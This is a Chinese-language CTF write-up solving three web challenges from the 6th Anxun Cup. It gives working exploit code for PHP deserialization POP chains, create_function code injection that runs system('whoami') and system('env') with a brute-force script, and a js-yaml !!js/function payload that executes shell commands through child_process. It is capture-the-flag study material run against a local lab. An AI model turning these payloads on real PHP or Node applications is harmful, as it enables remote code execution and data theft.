第六届安洵杯WEB赛后解题
沙贝 期末幽默了 没打 正好主办方给了docker环境 自己搭 赶紧看一下题 quick 太幽默了
easy_unserialize 简单的pop链 按照当时题目环境是phpinfo中就有flag的值 那么我们就可以投机取巧
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class Good { public $g1 ; private $gg2 ; public function __construct ( ) { $this ->gg2=new Luck (); } } class Luck { public $l1 ; public $ll2 ; private $md5 ; public $lll3 ; public function __construct ( ) { $this ->md5="K6lVldWR0SxkahncSoAp" ; $this ->l1 = "phpinfo" ; } } class To { public $t1 ; public $tt2 ; public $arg1 ; } class You { public $y1 ; } class Flag {}$a = new You ();$a ->y1 = new Luck ();$a ->y1->lll3 = new Good ();echo urlencode (serialize ($a ));?>
值得注意的是里面套了两层的md5值 可以利用脚本爆破出来 参考:md5相等及碰撞绕过_md5强等于绕过-CSDN博客 脚本里面有些错误并且要用python2环境
可以打通
当然这个题目考点还有原生类 只需要将最后调用phpinfo 换为Flag对象即可触发__invoke()
先扫目录在读文件
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php class Good { public $g1 ; private $gg2 ; public function __construct ( ) { $this ->gg2=new Luck (); } } class Luck { public $l1 ; public $ll2 ; private $md5 ; public $lll3 ; public function __construct ( ) { $this ->md5="K6lVldWR0SxkahncSoAp" ; $this ->l1 = new Flag (); } } class To { public $t1 ; public $tt2 ; public $arg1 ; } class You { public $y1 ; } class Flag { public $SplFileObject ='/FfffLlllLaAaaggGgGg' ; } $a = new You ();$a ->y1 = new Luck ();$a ->y1->lll3 = new Good ();echo urlencode (serialize ($a ));?>
还有个知识点就是array_walk()这个函数
那么这里需要注意它不仅可以对数组还有对象 如果是对象的话就会把属性的值作为callback的第一个参数 属性名作为第二个 这里很巧妙
What’s my name 考点:
create_function 注入 唤起我远古的记忆 记得之前在ctfshow上做过
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__file__);$d0g3 =$_GET ['d0g3' ];$name =$_GET ['name' ];if (preg_match ('/^(?:.{5})*include/' ,$d0g3 )){ $sorter ='strnatcasecmp' ; $miao = create_function ('$a,$b' , 'return "ln($a) + ln($b) = " . log($a * $b);' ); if (strlen ($d0g3 )==substr ($miao , -2 )&&$name ===$miao ){ $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);' ; @$miao =create_function ('$a, $b' , $sort_function ); } else { echo ('Is That My Name?' ); } } else { echo ("YOU Do Not Know What is My Name!" ); }
首先是正则匹配规定了d0g3参数只能用5个字符 +include
开头
然后这里有两个create_function 第一个create_function 其实用来让我们匹配这个匿名函数后两位数字的
我们来看看这个$miao
是什么
可以看到是\000lambda_6
其实本质是\000lambda_%d
这是匿名函数的名字 并且%d是指当前第几个匿名函数 每提交一次就会+1
因此如果我们想strlen($d0g3)==substr($miao, -2)
条件成立 那么就需要不断发包
接下来是第二个create_function 这里考察的就是注入了 思想类似于sql注入"]);}include("index.php");system("env");//
写一个脚本
1 2 3 4 5 6 7 8 9 10 11 import requests url = "http://127.0.0.2:9999/test/1.php" params = '?d0g3="]);}include("index.php");system("whoami");//&name=\000lambda_45' while True: r = requests.get (url=url+params) if ("Is That My Name?" not in r.text): print (r.text) break else : pass
需要注意的是有时候匿名函数名称为\x00lambda_%d
在win环境下是\000lambda_%d
signal 考点:
审计一下 发现它可以将yaml文件解析为js对象 然后会将name渲染出来
根据js-yaml中文文档|js-yaml js中文教程|解析 | npm中文文档
发现支持调用函数
4.0.0 released · nodeca/js-yaml@ee74ce4
js-yaml的version 是3.14.1 ,跟新版本提交对比这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function
在模版渲染的地方,会自动调用对象的tostring方法
1 "name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}